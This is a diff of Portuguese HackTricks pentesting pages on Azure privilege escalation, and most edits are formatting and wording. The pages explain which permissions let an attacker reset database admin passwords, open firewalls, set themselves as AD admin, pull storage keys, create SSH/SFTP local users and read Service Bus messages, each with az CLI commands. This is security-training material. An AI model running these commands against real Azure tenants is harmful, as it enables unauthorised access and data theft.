-### Microsoft.Web/sites/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action, Microsoft.App/managedEnvironments/join/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/operationresults/read)
+### `Microsoft.Web/sites/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/managedEnvironments/join/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/operationresults/read`)
-Com essas permissões, é possível **anexar uma nova identidade gerenciada pelo usuário a uma função**. Se a função for comprometida, isso permitiria escalar privilégios para qualquer identidade gerenciada pelo usuário.
+Com essas permissões, é possível **anexar uma nova identidade gerenciada pelo usuário a uma função**. Se a função fosse comprometida, isso permitiria escalar privilégios para qualquer identidade gerenciada pelo usuário.
```bash
az functionapp identity assign \
--name \
@@ -361,7 +352,7 @@ az functionapp identity assign \
```
### Depuração Remota
-Também é possível conectar para depurar uma função do Azure em execução, como [**explicado na documentação**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). No entanto, por padrão, o Azure desativará essa opção em 2 dias caso o desenvolvedor se esqueça, para evitar deixar configurações vulneráveis.
+Também é possível conectar para depurar uma função Azure em execução, como [**explicado na documentação**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). No entanto, por padrão, o Azure desativará essa opção em 2 dias caso o desenvolvedor se esqueça, para evitar deixar configurações vulneráveis.
É possível verificar se uma Função tem a depuração ativada com:
```bash
@@ -373,8 +364,8 @@ az functionapp config set --remote-debugging-enabled=True --name --re
```
### Mudar repositório do Github
-Tentei mudar o repositório do Github de onde a implantação está ocorrendo executando os seguintes comandos, mas mesmo que tenha mudado, **o novo código não foi carregado** (provavelmente porque está esperando que a Github Action atualize o código).\
-Além disso, a **credencial federada da identidade gerenciada não foi atualizada** permitindo o novo repositório, então parece que isso não é muito útil.
+Tentei mudar o repositório do Github de onde a implantação está ocorrendo, executando os seguintes comandos, mas mesmo que tenha mudado, **o novo código não foi carregado** (provavelmente porque está esperando que a Github Action atualize o código).\
+Além disso, a **credencial federada da identidade gerenciada não foi atualizada**, permitindo o novo repositório, então parece que isso não é muito útil.
```bash
# Remove current
az functionapp deployment source delete \
diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md
index 1f85e3322..d5176e7bc 100644
--- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md
@@ -10,7 +10,7 @@ Para mais informações sobre este serviço, consulte:
../az-services/az-keyvault.md
{{#endref}}
-### Microsoft.KeyVault/vaults/write
+### `Microsoft.KeyVault/vaults/write`
Um atacante com esta permissão poderá modificar a política de um cofre de chaves (o cofre de chaves deve estar usando políticas de acesso em vez de RBAC).
```bash
diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md
index 161b2d0f2..214e09fdc 100644
--- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md
@@ -5,15 +5,13 @@
## Logic Apps Privesc
Para mais informações sobre SQL Database, consulte:
-{% content-ref url="../az-services/az-logic-apps.md" %}
-[az-logic-apps.md](../az-services/az-logic-apps.md)
-{% endcontent-ref %}
+{{#ref}}
+../az-services/az-logic-apps.md
+{{#endref}}
-### ("Microsoft.Resources/subscriptions/resourcegroups/read", "Microsoft.Logic/workflows/read", "Microsoft.Logic/workflows/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action") && ("Microsoft.Logic/workflows/triggers/run/action")
+### (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Logic/workflows/read`, `Microsoft.Logic/workflows/write` && `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`) && (`Microsoft.Logic/workflows/triggers/run/action`)
Com esta permissão, você pode criar ou atualizar fluxos de trabalho do Azure Logic Apps. Os fluxos de trabalho definem processos automatizados e integrações entre vários sistemas e serviços.
-
-{% code overflow="wrap" %}
```bash
az logic workflow create \
--resource-group \
@@ -26,8 +24,6 @@ az logic workflow update \
--resource-group logicappgroup \
--definition
```
-{% endcode %}
-
E após alterá-lo, você pode executá-lo com:
```bash
az rest \
@@ -36,16 +32,12 @@ az rest \
--body '{}' \
--headers "Content-Type=application/json"
```
-### ("Microsoft.Web/sites/read", "Microsoft.Web/sites/basicPublishingCredentialsPolicies/read", "Microsoft.Web/sites/write", "Microsoft.Web/sites/config/list/action") && ("Microsoft.Web/sites/start/action")
+### (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/basicPublishingCredentialsPolicies/read`, `Microsoft.Web/sites/write`, `Microsoft.Web/sites/config/list/action`) && (`Microsoft.Web/sites/start/action`)
Com essas permissões, você pode implantar fluxos de trabalho do Logic App usando implantações de arquivos ZIP. Essas permissões permitem ações como ler detalhes do aplicativo, acessar credenciais de publicação, escrever alterações e listar configurações do aplicativo. Juntamente com as permissões de início, você pode atualizar e implantar um novo Logic App com o conteúdo desejado.
-
-{% code overflow="wrap" %}
```bash
az logicapp deployment source config-zip \
--name \
--resource-group \
--src
```
-{% endcode %}
-
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md
index 27999b077..440cf5523 100644
--- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md
@@ -2,19 +2,16 @@
{{#include ../../../banners/hacktricks-training.md}}
-
## MySQL Database Privesc
Para mais informações sobre SQL Database, consulte:
-{% content-ref url="../az-services/az-mysql.md" %}
-[az-mysql.md](../az-services/az-mysql.md)
-{% endcontent-ref %}
+{{#ref}}
+../az-services/az-mysql.md
+{{#endref}}
-### ""Microsoft.DBforMySQL/flexibleServers/read" && "Microsoft.DBforMySQL/flexibleServers/write"
+### `Microsoft.DBforMySQL/flexibleServers/read` && `Microsoft.DBforMySQL/flexibleServers/write`
-Com esta permissão, você pode criar, atualizar ou excluir instâncias do MySQL Flexible Server no Azure. Isso inclui provisionar novos servidores, modificar configurações de servidores existentes ou descomissionar servidores.
-
-{% code overflow="wrap" %}
+Com esta permissão, você pode criar, atualizar ou excluir instâncias de MySQL Flexible Server no Azure. Isso inclui provisionar novos servidores, modificar configurações de servidores existentes ou descomissionar servidores.
```bash
az mysql flexible-server create \
--name \
@@ -27,32 +24,20 @@ az mysql flexible-server create \
--tier \
--version
```
-{% endcode %}
-
-Por exemplo, essas permissões permitem alterar a senha do MySQL, útil, é claro, no caso de a autenticação do MySQL estar habilitada.
-
-{% code overflow="wrap" %}
+Por exemplo, essas permissões permitem alterar a senha do MySQL, útil, é claro, caso a autenticação do MySQL esteja habilitada.
```bash
az mysql flexible-server update \
--resource-group \
--name \
--admin-password
```
-{% endcode %}
-
-Além disso, é necessário ter o acesso público habilitado se você quiser acessar a partir de um endpoint não privado. Para habilitá-lo:
-
-{% code overflow="wrap" %}
+Além disso, é necessário ter o acesso público habilitado se você quiser acessar a partir de um endpoint não privado, para habilitá-lo:
```bash
az mysql flexible-server update --resource-group --server-name --public-access Enabled
```
-{% endcode %}
+### `Microsoft.DBforMySQL/flexibleServers/read`, `Microsoft.DBforMySQL/flexibleServers/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.DBforMySQL/flexibleServers/administrators/write` && `Microsoft.DBforMySQL/flexibleServers/administrators/read`
-### ""Microsoft.DBforMySQL/flexibleServers/read", "Microsoft.DBforMySQL/flexibleServers/write", "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action", "Microsoft.DBforMySQL/flexibleServers/administrators/write" && "Microsoft.DBforMySQL/flexibleServers/administrators/read""
-
-Com esta permissão, você pode configurar administradores do Azure Active Directory (AD) para um Servidor MySQL Flexível. Isso pode ser explorado configurando-se ou configurando outra conta como o administrador do AD, concedendo controle administrativo total sobre o servidor MySQL. É importante que o servidor flexível tenha identidades gerenciadas atribuídas a um usuário para uso.
-
-{% code overflow="wrap" %}
+Com esta permissão, você pode configurar administradores do Azure Active Directory (AD) para um MySQL Flexible Server. Isso pode ser explorado configurando-se ou configurando outra conta como o administrador do AD, concedendo controle administrativo total sobre o servidor MySQL. É importante que o flexible-server tenha identidades gerenciadas atribuídas a um usuário para uso.
```bash
az mysql flexible-server ad-admin create \
--resource-group \
@@ -61,6 +46,4 @@ az mysql flexible-server ad-admin create \
--identity \
--object-id
```
-{% endcode %}
-
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md
index a18e40a4f..0c187b9b7 100644
--- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md
@@ -5,15 +5,13 @@
## PostgreSQL Privesc
Para mais informações sobre SQL Database, consulte:
-{% content-ref url="../az-services/az-postgresql.md" %}
+{{#ref}}
[az-postgresql.md](../az-services/az-postgresql.md)
-{% endcontent-ref %}
+{{#endref}}
-### "Microsoft.DBforPostgreSQL/flexibleServers/read" && "Microsoft.DBforPostgreSQL/flexibleServers/write"
+### `Microsoft.DBforPostgreSQL/flexibleServers/read` && `Microsoft.DBforPostgreSQL/flexibleServers/write`
Com esta permissão, você pode criar, atualizar ou excluir instâncias do PostgreSQL Flexible Server no Azure. Isso inclui provisionar novos servidores, modificar configurações de servidores existentes ou descomissionar servidores.
-
-{% code overflow="wrap" %}
```bash
az postgres flexible-server create \
--name \
@@ -26,34 +24,22 @@ az postgres flexible-server create \
--tier \
--version
```
-{% endcode %}
-
-Por exemplo, essas permissões permitem alterar a senha do PostgreSQL, útil, é claro, caso a autenticação do PostgreSQL esteja habilitada.
-
-{% code overflow="wrap" %}
+Por exemplo, essas permissões permitem alterar a senha do PostgreSQL, útil, é claro, no caso de a autenticação do PostgreSQL estar habilitada.
```bash
az postgres flexible-server update \
--resource-group \
--name \
--admin-password
```
-{% endcode %}
-
-Além disso, é necessário ter o acesso público habilitado se você quiser acessar a partir de um endpoint não privado. Para habilitá-lo:
-
-{% code overflow="wrap" %}
+Além disso, é necessário ter o acesso público habilitado se você quiser acessar a partir de um endpoint não privado, para habilitá-lo:
```bash
az postgres flexible-server update --resource-group --server-name --public-access Enabled
```
-{% endcode %}
+### `Microsoft.DBforPostgreSQL/flexibleServers/read`, `Microsoft.DBforPostgreSQL/flexibleServers/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.DBforPostgreSQL/flexibleServers/administrators/write` && `Microsoft.DBforPostgreSQL/flexibleServers/administrators/read`
-### "Microsoft.DBforPostgreSQL/flexibleServers/read", "Microsoft.DBforPostgreSQL/flexibleServers/write", "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action", "Microsoft.DBforPostgreSQL/flexibleServers/administrators/write" && "Microsoft.DBforPostgreSQL/flexibleServers/administrators/read"
-
-Com esta permissão, você pode configurar administradores do Azure Active Directory (AD) para um Servidor Flexível PostgreSQL. Isso pode ser explorado configurando-se ou configurando outra conta como o administrador do AD, concedendo controle administrativo total sobre o servidor PostgreSQL. A atualização de um principal existente ainda não é suportada, então, se houver um criado, você deve excluí-lo primeiro.
+Com essa permissão, você pode configurar administradores do Azure Active Directory (AD) para um Servidor Flexível PostgreSQL. Isso pode ser explorado configurando-se ou a outra conta como o administrador do AD, concedendo controle administrativo total sobre o servidor PostgreSQL. A atualização de um principal existente ainda não é suportada, então, se houver um criado, você deve excluí-lo primeiro.
É importante que o servidor flexível tenha identidades gerenciadas atribuídas a um usuário para uso.
-
-{% code overflow="wrap" %}
```bash
az postgres flexible-server ad-admin create \
--resource-group \
@@ -62,6 +48,4 @@ az postgres flexible-server ad-admin create \
--identity \
--object-id
```
-{% endcode %}
-
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md
index c5295638f..c2447cf6a 100644
--- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md
@@ -83,7 +83,7 @@ print("----------------------------")
```
### Receber Mensagens. Ação: `Microsoft.ServiceBus/namespaces/authorizationRules/listkeys/action` OU `Microsoft.ServiceBus/namespaces/authorizationRules/regenerateKeys/action`
-Você pode recuperar o PrimaryConnectionString, que serve como uma credencial para o namespace do Service Bus. Usando essa string de conexão, você pode receber mensagens de qualquer fila ou assinatura dentro do namespace, permitindo acesso a dados potencialmente sensíveis ou críticos, possibilitando a exfiltração de dados ou interferindo no processamento de mensagens e fluxos de trabalho de aplicativos.
+Você pode recuperar o PrimaryConnectionString, que serve como uma credencial para o namespace do Service Bus. Usando essa string de conexão, você pode receber mensagens de qualquer fila ou assinatura dentro do namespace, permitindo acesso a dados potencialmente sensíveis ou críticos, possibilitando a exfiltração de dados ou interferindo no processamento de mensagens e fluxos de trabalho da aplicação.
```python
#You need to install the following libraries
#pip install azure-servicebus
@@ -127,7 +127,7 @@ asyncio.run(receive_and_process_messages())
print("Message Receiving Completed")
print("----------------------------")
```
-### `Microsoft.ServiceBus/namespaces/authorizationRules/write` & `Microsoft.ServiceBus/namespaces/authorizationRules/write`
+### `Microsoft.ServiceBus/namespaces/authorizationRules/read` & `Microsoft.ServiceBus/namespaces/authorizationRules/write`
Se você tiver essas permissões, pode escalar privilégios lendo ou criando chaves de acesso compartilhado. Essas chaves permitem controle total sobre o namespace do Service Bus, incluindo gerenciamento de filas, tópicos e envio/recebimento de mensagens, potencialmente contornando controles de acesso baseados em função (RBAC).
```bash
diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md
index d3afce4e9..394a10deb 100644
--- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md
@@ -10,9 +10,9 @@ Para mais informações sobre SQL Database, consulte:
../az-services/az-sql.md
{{#endref}}
-### "Microsoft.Sql/servers/read" && "Microsoft.Sql/servers/write"
+### `Microsoft.Sql/servers/read` && `Microsoft.Sql/servers/write`
-Com essas permissões, um usuário pode realizar escalonamento de privilégios atualizando ou criando servidores Azure SQL e modificando configurações críticas, incluindo credenciais administrativas. Essa permissão permite que o usuário atualize propriedades do servidor, incluindo a senha do administrador do SQL Server, possibilitando acesso ou controle não autorizado sobre o servidor. Eles também podem criar novos servidores, potencialmente introduzindo infraestrutura sombra para fins maliciosos. Isso se torna particularmente crítico em ambientes onde "Microsoft Entra Authentication Only" está desativado, pois podem explorar a autenticação baseada em SQL para obter acesso irrestrito.
+Com essas permissões, um usuário pode realizar escalonamento de privilégios ao atualizar ou criar servidores Azure SQL e modificar configurações críticas, incluindo credenciais administrativas. Essa permissão permite que o usuário atualize propriedades do servidor, incluindo a senha do administrador do SQL Server, possibilitando acesso ou controle não autorizado sobre o servidor. Eles também podem criar novos servidores, potencialmente introduzindo infraestrutura sombra para fins maliciosos. Isso se torna particularmente crítico em ambientes onde "Microsoft Entra Authentication Only" está desativado, pois podem explorar a autenticação baseada em SQL para obter acesso irrestrito.
```bash
# Change the server password
az sql server update \
@@ -28,14 +28,14 @@ az sql server create \
--admin-user \
--admin-password
```
-Além disso, é necessário ter o acesso público habilitado se você quiser acessar a partir de um endpoint não privado, para habilitá-lo:
+Além disso, é necessário ter o acesso público habilitado se você quiser acessar a partir de um endpoint não privado. Para habilitá-lo:
```bash
az sql server update \
--name \
--resource-group \
--enable-public-network true
```
-### "Microsoft.Sql/servers/firewallRules/write"
+### `Microsoft.Sql/servers/firewallRules/write`
Um atacante pode manipular regras de firewall em servidores Azure SQL para permitir acesso não autorizado. Isso pode ser explorado para abrir o servidor para endereços IP específicos ou intervalos inteiros de IP, incluindo IPs públicos, permitindo acesso para atores maliciosos. Esta atividade de pós-exploração pode ser usada para contornar controles de segurança de rede existentes, estabelecer persistência ou facilitar movimento lateral dentro do ambiente ao expor recursos sensíveis.
```bash
@@ -56,9 +56,9 @@ az sql server firewall-rule update \
--end-ip-address
```
Além disso, a permissão `Microsoft.Sql/servers/outboundFirewallRules/delete` permite que você exclua uma Regra de Firewall.
-NOTA: É necessário ter o acesso público habilitado
+NOTA: É necessário ter o acesso público habilitado.
-### ""Microsoft.Sql/servers/ipv6FirewallRules/write"
+### `Microsoft.Sql/servers/ipv6FirewallRules/write`
Com essa permissão, você pode criar, modificar ou excluir regras de firewall IPv6 em um Azure SQL Server. Isso poderia permitir que um atacante ou usuário autorizado contornasse as configurações de segurança de rede existentes e obtivesse acesso não autorizado ao servidor. Ao adicionar uma regra que permite tráfego de qualquer endereço IPv6, o atacante poderia abrir o servidor para acesso externo.
```bash
@@ -70,11 +70,11 @@ az sql server firewall-rule create \
--end-ip-address
```
Além disso, a permissão `Microsoft.Sql/servers/ipv6FirewallRules/delete` permite que você exclua uma Regra de Firewall.
-NOTA: É necessário ter o acesso público habilitado
+NOTA: É necessário ter o acesso público habilitado.
-### "Microsoft.Sql/servers/administrators/write" && "Microsoft.Sql/servers/administrators/read"
+### `Microsoft.Sql/servers/administrators/write` && `Microsoft.Sql/servers/administrators/read`
-Com essas permissões, você pode privesc em um ambiente Azure SQL Server acessando bancos de dados SQL e recuperando informações críticas. Usando o comando abaixo, um atacante ou usuário autorizado pode se definir ou definir outra conta como o administrador do Azure AD. Se "Microsoft Entra Authentication Only" estiver habilitado, você poderá acessar o servidor e suas instâncias. Aqui está o comando para definir o administrador do Azure AD para um servidor SQL:
+Com essas permissões, você pode realizar privilege escalation em um ambiente Azure SQL Server acessando bancos de dados SQL e recuperando informações críticas. Usando o comando abaixo, um atacante ou usuário autorizado pode se definir ou definir outra conta como administrador do Azure AD. Se "Microsoft Entra Authentication Only" estiver habilitado, você poderá acessar o servidor e suas instâncias. Aqui está o comando para definir o administrador do Azure AD para um servidor SQL:
```bash
az sql server ad-admin create \
--server \
@@ -82,7 +82,7 @@ az sql server ad-admin create \
--display-name \
--object-id
```
-### "Microsoft.Sql/servers/azureADOnlyAuthentications/write" && "Microsoft.Sql/servers/azureADOnlyAuthentications/read"
+### `Microsoft.Sql/servers/azureADOnlyAuthentications/write` && `Microsoft.Sql/servers/azureADOnlyAuthentications/read`
Com essas permissões, você pode configurar e impor "Autenticação Somente do Microsoft Entra" em um Azure SQL Server, o que pode facilitar a escalada de privilégios em certos cenários. Um atacante ou um usuário autorizado com essas permissões pode habilitar ou desabilitar a autenticação somente do Azure AD.
```bash
diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md
index db48a8562..f24626b50 100644
--- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md
@@ -10,21 +10,21 @@ Para mais informações sobre armazenamento, consulte:
../az-services/az-storage.md
{{#endref}}
-### Microsoft.Storage/storageAccounts/listkeys/action
+### `Microsoft.Storage/storageAccounts/listkeys/action`
Um principal com esta permissão poderá listar (e os valores secretos) das **chaves de acesso** das contas de armazenamento. Permitindo que o principal eleve seus privilégios sobre as contas de armazenamento.
```bash
az storage account keys list --account-name
```
-### Microsoft.Storage/storageAccounts/regenerateKey/action
+### `Microsoft.Storage/storageAccounts/regenerateKey/action`
-Um principal com esta permissão poderá renovar e obter o novo valor secreto das **chaves de acesso** das contas de armazenamento. Permitindo que o principal eleve seus privilégios sobre as contas de armazenamento.
+Um principal com esta permissão poderá renovar e obter o novo valor secreto das **chaves de acesso** das contas de armazenamento. Permitindo que o principal escale seus privilégios sobre as contas de armazenamento.
Além disso, na resposta, o usuário receberá o valor da chave renovada e também da não renovada:
```bash
az storage account keys renew --account-name --key key2
```
-### Microsoft.Storage/storageAccounts/write
+### `Microsoft.Storage/storageAccounts/write`
Um principal com esta permissão poderá criar ou atualizar uma conta de armazenamento existente, atualizando qualquer configuração, como regras de rede ou políticas.
```bash
@@ -36,12 +36,12 @@ az storage account update --name --add networkRuleSet.ipRules value=<
```
## Blobs Specific privesc
-### Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/write | Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/delete
+### `Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/write` | `Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/delete`
A primeira permissão permite **modificar políticas de imutabilidade** em contêineres e a segunda permite excluí-las.
> [!NOTE]
-> Observe que se uma política de imutabilidade estiver em estado de bloqueio, você não poderá fazer nenhuma das duas ações.
+> Observe que, se uma política de imutabilidade estiver em estado de bloqueio, você não poderá fazer nenhuma das duas ações.
```bash
az storage container immutability-policy delete \
--account-name \
@@ -56,21 +56,21 @@ az storage container immutability-policy update \
```
## File shares specific privesc
-### Microsoft.Storage/storageAccounts/fileServices/takeOwnership/action
+### `Microsoft.Storage/storageAccounts/fileServices/takeOwnership/action`
Isso deve permitir que um usuário com essa permissão possa assumir a propriedade de arquivos dentro do sistema de arquivos compartilhado.
-### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/modifypermissions/action
+### `Microsoft.Storage/storageAccounts/fileServices/fileshares/files/modifypermissions/action`
-Isso deve permitir que um usuário com essa permissão possa modificar as permissões dos arquivos dentro do sistema de arquivos compartilhado.
+Isso deve permitir que um usuário com essa permissão possa modificar as permissões de arquivos dentro do sistema de arquivos compartilhado.
-### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/actassuperuser/action
+### `Microsoft.Storage/storageAccounts/fileServices/fileshares/files/actassuperuser/action`
Isso deve permitir que um usuário com essa permissão possa realizar ações dentro de um sistema de arquivos como um superusuário.
-### Microsoft.Storage/storageAccounts/localusers/write (Microsoft.Storage/storageAccounts/localusers/read)
+### `Microsoft.Storage/storageAccounts/localusers/write (Microsoft.Storage/storageAccounts/localusers/read)`
-Com essa permissão, um atacante pode criar e atualizar (se tiver a permissão `Microsoft.Storage/storageAccounts/localusers/read`) um novo usuário local para uma conta de Armazenamento do Azure (configurada com namespace hierárquico), incluindo a especificação das permissões e do diretório inicial do usuário. Essa permissão é significativa porque permite que o atacante se conceda acesso a uma conta de armazenamento com permissões específicas, como leitura (r), gravação (w), exclusão (d) e listagem (l) e mais. Além disso, os métodos de autenticação que isso utiliza podem ser senhas geradas pelo Azure e pares de chaves SSH. Não há verificação se um usuário já existe, então você pode sobrescrever outros usuários que já estão lá. O atacante poderia escalar seus privilégios e obter acesso SSH à conta de armazenamento, potencialmente expondo ou comprometendo dados sensíveis.
+Com essa permissão, um atacante pode criar e atualizar (se tiver a permissão `Microsoft.Storage/storageAccounts/localusers/read`) um novo usuário local para uma conta de Armazenamento do Azure (configurada com namespace hierárquico), incluindo especificar as permissões e o diretório inicial do usuário. Essa permissão é significativa porque permite que o atacante se conceda acesso a uma conta de armazenamento com permissões específicas, como leitura (r), gravação (w), exclusão (d) e listagem (l) e mais. Além disso, os métodos de autenticação que isso utiliza podem ser senhas geradas pelo Azure e pares de chaves SSH. Não há verificação se um usuário já existe, então você pode sobrescrever outros usuários que já estão lá. O atacante poderia escalar suas permissões e obter acesso SSH à conta de armazenamento, potencialmente expondo ou comprometendo dados sensíveis.
```bash
az storage account local-user create \
--account-name \
@@ -80,7 +80,7 @@ az storage account local-user create \
--home-directory \
--has-ssh-key false/true # Depends on the auth method to use
```
-### Microsoft.Storage/storageAccounts/localusers/regeneratePassword/action
+### `Microsoft.Storage/storageAccounts/localusers/regeneratePassword/action`
Com esta permissão, um atacante pode regenerar a senha de um usuário local em uma conta de Armazenamento do Azure. Isso concede ao atacante a capacidade de obter novas credenciais de autenticação (como uma senha SSH ou SFTP) para o usuário. Ao aproveitar essas credenciais, o atacante poderia obter acesso não autorizado à conta de armazenamento, realizar transferências de arquivos ou manipular dados dentro dos contêineres de armazenamento. Isso poderia resultar em vazamento de dados, corrupção ou modificação maliciosa do conteúdo da conta de armazenamento.
```bash
@@ -94,9 +94,9 @@ Para acessar o Azure Blob Storage via SFTP (is_hns_enabled deve ser verdadeiro)
sftp .@.blob.core.windows.net
#regenerated-password
```
-### Microsoft.Storage/storageAccounts/restoreBlobRanges/action, Microsoft.Storage/storageAccounts/blobServices/containers/read, Microsoft.Storage/storageAccounts/read && Microsoft.Storage/storageAccounts/listKeys/action
+### `Microsoft.Storage/storageAccounts/restoreBlobRanges/action`, `Microsoft.Storage/storageAccounts/blobServices/containers/read`, `Microsoft.Storage/storageAccounts/read` && `Microsoft.Storage/storageAccounts/listKeys/action`
-Com essas permissões, um atacante pode restaurar um contêiner excluído especificando seu ID de versão excluída ou recuperar blobs específicos dentro de um contêiner, se eles foram excluídos suavemente anteriormente. Essa escalada de privilégio pode permitir que um atacante recupere dados sensíveis que deveriam ter sido excluídos permanentemente, potencialmente levando a acesso não autorizado.
+Com essas permissões, um atacante pode restaurar um contêiner excluído especificando seu ID de versão excluída ou restaurar blobs específicos dentro de um contêiner, se eles foram excluídos suavemente anteriormente. Essa escalada de privilégio poderia permitir que um atacante recuperasse dados sensíveis que deveriam ser permanentemente excluídos, potencialmente levando a acessos não autorizados.
```bash
#Restore the soft deleted container
az storage container restore \
@@ -110,7 +110,7 @@ az storage blob undelete \
--container-name \
--name "fileName.txt"
```
-### Microsoft.Storage/storageAccounts/fileServices/shares/restore/action && Microsoft.Storage/storageAccounts/read
+### `Microsoft.Storage/storageAccounts/fileServices/shares/restore/action` && `Microsoft.Storage/storageAccounts/read`
Com essas permissões, um atacante pode restaurar um compartilhamento de arquivos do Azure excluído especificando seu ID de versão excluída. Essa elevação de privilégio pode permitir que um atacante recupere dados sensíveis que deveriam ser permanentemente excluídos, potencialmente levando a acesso não autorizado.
```bash
diff --git a/src/pentesting-cloud/azure-security/az-services/az-azuread.md b/src/pentesting-cloud/azure-security/az-services/az-azuread.md
index c4f80993c..87956d6d7 100644
--- a/src/pentesting-cloud/azure-security/az-services/az-azuread.md
+++ b/src/pentesting-cloud/azure-security/az-services/az-azuread.md
@@ -6,7 +6,7 @@
Azure Active Directory (Azure AD) serve como o serviço baseado em nuvem da Microsoft para gerenciamento de identidade e acesso. É fundamental para permitir que os funcionários façam login e tenham acesso a recursos, tanto dentro quanto fora da organização, abrangendo Microsoft 365, o portal Azure e uma multitude de outras aplicações SaaS. O design do Azure AD foca em fornecer serviços essenciais de identidade, incluindo **autenticação, autorização e gerenciamento de usuários**.
-As principais características do Azure AD envolvem **autenticação multifatorial** e **acesso condicional**, juntamente com integração perfeita com outros serviços de segurança da Microsoft. Essas características elevam significativamente a segurança das identidades dos usuários e capacitam as organizações a implementar e aplicar efetivamente suas políticas de acesso. Como um componente fundamental do ecossistema de serviços em nuvem da Microsoft, o Azure AD é crucial para o gerenciamento baseado em nuvem das identidades dos usuários.
+As principais características do Azure AD envolvem **autenticação multifatorial** e **acesso condicional**, juntamente com integração perfeita com outros serviços de segurança da Microsoft. Essas características elevam significativamente a segurança das identidades dos usuários e capacitam as organizações a implementar e fazer cumprir suas políticas de acesso de forma eficaz. Como um componente fundamental do ecossistema de serviços em nuvem da Microsoft, o Azure AD é crucial para o gerenciamento baseado em nuvem das identidades dos usuários.
## Enumeração
@@ -184,9 +184,9 @@ Connect-AzureAD -AccountId test@corp.onmicrosoft.com -AadAccessToken $token
{{#endtab }}
{{#endtabs }}
-Quando você **faz login** via **CLI** no Azure com qualquer programa, você está usando uma **Aplicação Azure** de um **inquilino** que pertence à **Microsoft**. Essas Aplicações, como as que você pode criar em sua conta, **têm um id de cliente**. Você **não poderá ver todas elas** nas **listas de aplicações permitidas** que você pode ver no console, **mas elas são permitidas por padrão**.
+Quando você **faz login** via **CLI** no Azure com qualquer programa, você está usando uma **Aplicação Azure** de um **tenant** que pertence à **Microsoft**. Essas Aplicações, como as que você pode criar em sua conta, **têm um id de cliente**. Você **não poderá ver todas elas** nas **listas de aplicações permitidas** que você pode ver no console, **mas elas são permitidas por padrão**.
-Por exemplo, um **script powershell** que **autentica** usa um aplicativo com id de cliente **`1950a258-227b-4e31-a9cf-717495945fc2`**. Mesmo que o aplicativo não apareça no console, um sysadmin poderia **bloquear essa aplicação** para que os usuários não possam acessar usando ferramentas que se conectam via esse App.
+Por exemplo, um **script powershell** que **autentica** usa um app com id de cliente **`1950a258-227b-4e31-a9cf-717495945fc2`**. Mesmo que o app não apareça no console, um sysadmin poderia **bloquear essa aplicação** para que os usuários não possam acessar usando ferramentas que se conectam via esse App.
No entanto, existem **outros ids de cliente** de aplicações que **permitirão que você se conecte ao Azure**:
```bash
@@ -487,7 +487,7 @@ Os proprietários do grupo podem adicionar novos usuários ao grupo
Add-AzureADGroupMember -ObjectId -RefObjectId -Verbose
```
> [!WARNING]
-> Grupos podem ser dinâmicos, o que basicamente significa que **se um usuário cumprir certas condições, ele será adicionado a um grupo**. Claro, se as condições forem baseadas em **atributos** que um **usuário** pode **controlar**, ele poderia abusar dessa funcionalidade para **entrar em outros grupos**.\
